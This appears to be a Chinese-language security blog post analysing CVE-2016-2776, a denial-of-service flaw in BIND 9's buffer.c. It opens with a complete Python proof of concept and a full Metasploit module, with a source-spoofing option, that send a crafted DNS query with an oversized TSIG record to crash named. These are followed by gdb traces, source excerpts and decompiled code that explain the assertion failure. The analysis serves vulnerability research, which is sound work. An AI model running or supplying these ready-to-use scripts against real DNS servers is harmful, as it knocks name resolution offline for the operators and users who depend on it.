BIND 9 buffer.c断言拒绝服务漏洞

作者:k0shl 转载请注明出处

漏洞说明


这个漏洞没想到危害还挺高,在cnvd里专门发了一个漏洞公告,BIND 9是一套DNS域名解析服务软件,这个漏洞会导致DNS服务器拒绝服务,虽然是拒绝服务漏洞,但是却被定级为高危,同样BIND 9直接在网上获取软件下载就行了。

PoC:

import socket
import struct

TARGET = ('192.168.200.10', 53)

Q_A = 1
Q_TSIG = 250
DNS_MESSAGE_HEADERLEN = 12


def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
    query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"

    sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
    tsig_rr = build_tsig_rr(sweet_spot)

    return query_A + tsig_rr

def int16(n):
    return struct.pack("!H", n)

def build_tsig_rr(bind_demarshalled_size):
    signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
                      "\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00")
    tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"

    necessary_bytes  = len(signature_data) + len(tsig_rr_extra_fields)
    necessary_bytes += 2 + 2 # length fields

    # from sizeof(TSIG RR) bytes conforming the TSIG RR
    # bind9 uses sizeof(TSIG RR) - 16 to build its own
    sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)

    tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
    tsig_data = algo_name + signature_data
    return tsig_hdr + int16(len(tsig_data)) + tsig_data

def generate_padding(n):
    max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
    buckets = [1] * len(max_per_bucket)

    min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
    max_size = sum(max_per_bucket) + len(buckets) + 2

    if not(min_size <= n <= max_size):
        raise RuntimeException("unsupported amount of bytes")

    curr_idx, n = 0, n - min_size
    while n > 0:
        next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
        buckets[curr_idx] = 1 + n - next_n
        n, curr_idx = next_n, curr_idx + 1

    n_padding = lambda amount: chr(amount) + "A" * amount
    stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"

    return stringify(buckets[:4]), stringify(buckets[4:])

if __name__ == "__main__":
    bombita = build_bind_nuke()

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(bombita, TARGET)
    s.close()

'''
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'timeout'
require 'socket'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Capture
  include Msf::Auxiliary::UDPScanner
  include Msf::Auxiliary::Dos
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'BIND 9 DoS CVE-2016-2776',
      'Description' => %q{
          Denial of Service Bind 9 DNS Server CVE-2016-2776.
          Critical error condition which can occur when a nameserver is constructing a response.
          A defect in the rendering of messages into packets can cause named to exit with an
          assertion failure in buffer.c while constructing a response to a query that meets certain criteria.

          This assertion can be triggered even if the apparent source address isnt allowed
          to make queries.
      },
      # Research and Original PoC - msf module author
      'Author'      => [ 'Martin Rocha', 'Ezequiel Tavella', 'Alejandro Parodi', 'Infobyte Research Team'],
      'License'     => MSF_LICENSE,
      'References'      =>
        [
          [ 'CVE', '2016-2776' ],
          [ 'URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html' ]
        ],
      'DisclosureDate' => 'Sep 27 2016',
      'DefaultOptions' => {'ScannerRecvWindow' => 0}
    ))

    register_options([
      Opt::RPORT(53),
      OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
    ])

    deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
  end

  def check_server_status(ip, rport)
    res = ""
    sudp = UDPSocket.new
    sudp.send(valid_query, 0, ip, rport)
    begin
      Timeout.timeout(5) do
      res = sudp.recv(100)
    end
    rescue Timeout::Error
    end

    if(res.length==0)
      print_good("Exploit Success (Maybe, nameserver did not replied)")
      else
        print_error("Exploit Failed")
    end
  end

  def scan_host(ip)
    @flag_success = true
    print_status("Sending bombita (Specially crafted udp packet) to: "+ip)
    scanner_send(payload, ip, rport)
    check_server_status(ip, rport)
  end

  def get_domain
    domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
    org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
    get_domain = domain+org
  end

  def payload
    query = Rex::Text.rand_text_alphanumeric(2)  # Transaction ID: 0x8f65
    query += "\x00\x00"  # Flags: 0x0000 Standard query
    query += "\x00\x01"  # Questions: 1
    query += "\x00\x00"  # Answer RRs: 0
    query += "\x00\x00"  # Authority RRs: 0
    query += "\x00\x01"  # Additional RRs: 1

    # Doman Name
    query += get_domain   # Random DNS Name
    query += "\x00"      # [End of name]
    query += "\x00\x01"  # Type: A (Host Address) (1)
    query += "\x00\x01"  # Class: IN (0x0001)

    # Aditional records. Name
    query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
    query += "\x3d"+Rex::Text.rand_text_alphanumeric(61)
    query += "\x00"

    query += "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
    query += "\x00\xff" # Class: ANY (0x00ff)
    query += "\x00\x00\x00\x00" # Time to live: 0
    query += "\x00\xfc" # Data length: 252

    # Algorithm Name
    query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
    query += "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
    query += "\x00"

    # Rest of TSIG
    query += "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan  1, 1970 03:15:07.000000000 ART
    query += "\x01\x2c" # Fudge: 300
    query += "\x00\x10" # MAC Size: 16
    query +=  Rex::Text.rand_text_alphanumeric(16) # MAC
    query += "\x8f\x65" # Original Id: 36709
    query += "\x00\x00" # Error: No error (0)
    query += "\x00\x00" # Other len: 0
  end

  def valid_query
    query = Rex::Text.rand_text_alphanumeric(2)  # Transaction ID: 0x8f65
    query += "\x00\x00"  # Flags: 0x0000 Standard query
    query += "\x00\x01"  # Questions: 1
    query += "\x00\x00"  # Answer RRs: 0
    query += "\x00\x00"  # Authority RRs: 0
    query += "\x00\x00"  # Additional RRs: 0

    # Doman Name
    query += get_domain   # Random DNS Name
    query += "\x00"      # [End of name]
    query += "\x00\x01"  # Type: A (Host Address) (1)
    query += "\x00\x01"  # Class: IN (0x0001)s
  end

end

测试环境:
kali linux 2.0
gdb with peda

在kali linux上运行BIND 9,不需要配置,直接tar解压之后configure make make install安装即可,安装过程网上有很多说明,安装完成后启动服务会看到开启了53端口,之后运行python发送payload


漏洞分析


BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

首先部署BIND 9服务,这时候linux会开启53端口,gdb附加,发送畸形数据包。

可以看到Payload在Additional records字段中,数据包发送后,gdb会命中断点。

gdb-peda$ run
Starting program: /usr/sbin/named 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New process 9722]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb751ab40 (LWP 9723)]
[New Thread 0xb6d19b40 (LWP 9724)]
[New Thread 0xb6518b40 (LWP 9725)]

Program received signal SIGABRT, Aborted.
[Switching to Thread 0xb751ab40 (LWP 9723)]
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x25fa 
ECX: 0x25fb 
EDX: 0x6 
ESI: 0x1 
EDI: 0xb7b23000 --> 0x1a5da8 
EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
0004| 0xb7515a68 --> 0x6 
0008| 0xb7515a6c --> 0x25fb 
0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8 
0020| 0xb7515a78 --> 0xb7515b14 --> 0x0 
0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xb7515a80 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT

这时候接收到了一个SIGABRT信号,在调用abort后会到达这个位置,从而中止DNS服务,通过bt的方法回溯一下堆栈调用情况。

gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb79ab307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb79ac9c3 in __GI_abort () at abort.c:89
#3  0x8002da86 in ?? ()
#4  0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95
#5  0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95
#6  0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100
#7  0xb7e58b08 in ?? () from /usr/lib/libdns.so.100
#8  0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100
#9  0x80021417 in ?? ()
#10 0x80021851 in ?? ()
#11 0x80022ac4 in ?? ()
#12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95
#13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309
#14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129

可以看到,在#4位置调用了isc_assertion_failed,随后执行了abort然后vsyscall中止服务,#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。

void
isc__buffer_add(isc_buffer_t *b, unsigned int n) {
    /*
     * Increase the 'used' region of 'b' by 'n' bytes.
     */

    REQUIRE(ISC_BUFFER_VALID(b));
    REQUIRE(b->used + n <= b->length);

    ISC__BUFFER_ADD(b, n);
}

在源码中关于isc__buffer_add的描述并没有涉及assert部分,但实际上REQUIRE就是一个断言的函数调用,我们通过IDA来观察这个过程。

首先,当服务端接收到数据包的时候,根据additional records字段会先调用dns_name_towire函数处理名称部分。

isc_result_t
dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) {
    ……
    dns_name_init(&gp, po);
    dns_name_init(&gs, so);
    isc_buffer_init(&gws, gb, sizeof (gb));

    offset = target->used;  /*XXX*/

    methods = dns_compress_getmethods(cctx);

    if ((methods & DNS_COMPRESS_GLOBAL) != 0)
        gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws);
    else
        gf = ISC_FALSE;

    /*
     * Will the compression pointer reduce the message size?
     */
    if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length)
        gf = ISC_FALSE;

    if (gf) {
        if (target->length - target->used < gp.length)
            return (ISC_R_NOSPACE);
        (void)memcpy((unsigned char *)target->base + target->used,
                 gp.ndata, (size_t)gp.length);
        isc_buffer_add(target, gp.length);
    ……
}

这里我取了关键的一部分代码,isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。

我们需要跟踪一下gp的值,实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。

isc_boolean_t
dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name,
            dns_name_t *prefix, dns_name_t *suffix,
            isc_uint16_t *offset, isc_buffer_t *workspace)
{
    REQUIRE(VALID_CCTX(cctx));
    REQUIRE(dns_name_isabsolute(name) == ISC_TRUE);
    REQUIRE(offset != NULL);

    return (compress_find(cctx->global, name, prefix, suffix, offset,
                  workspace));
}

gp的值是name的prefix部分,随后进入isc__buffer_add中。

int __cdecl isc__buffer_add(int a1, int a2)
{
  int result; // eax@1
  unsigned int v3; // edx@3

  result = a1;
  if ( !a1 || *(_DWORD *)a1 != 1114990113 )
    isc_assertion_failed(
      (int)"buffer.c",
      126,
      0,
      (int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))");
  v3 = *(_DWORD *)(a1 + 12) + a2;
  if ( v3 > *(_DWORD *)(a1 + 8) )
    isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length");
  *(_DWORD *)(a1 + 12) = v3;
  return result;
}

当进入第二个断言错误判断if ( v3 > (_DWORD )(a1 + 8) )的时候,我们来看一下这个过程的值,首先a1+8是name结构体中存放name长度的部分。

[------------------------------------stack-------------------------------------]
0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001")
0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>:   add    ebx,0x5f0aa)
0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998 
0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx  eax,WORD PTR [esp+0x18])
0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265")
0020| 0xb74de6c4 --> 0x1 
0024| 0xb74de6c8 --> 0x1 
0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95
gdb-peda$ x/10x $eax
0xb54c5040: 0x42756621  0xb54c5178  0x00000200  0x0000000c
0xb54c5050: 0x00000000  0x00000000  0xffffffff  0xffffffff
0xb54c5060: 0x00000000  0x00000000

注意b54c5040+8h的位置部分,存放的是长度,这个长度的获取时根据DNS数据包中字段的值决定的,但是如果这个值碰上/0,则会结束。

所以重新看一下发送的数据包,如果碰上/0,则会满足v3,也就是总长度大于字段中存放长度的时候,进入断言判断,DNS服务被中止。

Comments
Write a Comment
  • D0ne reply

    这个呢 CNVD编号多少阿

  • k0pwn_0110 reply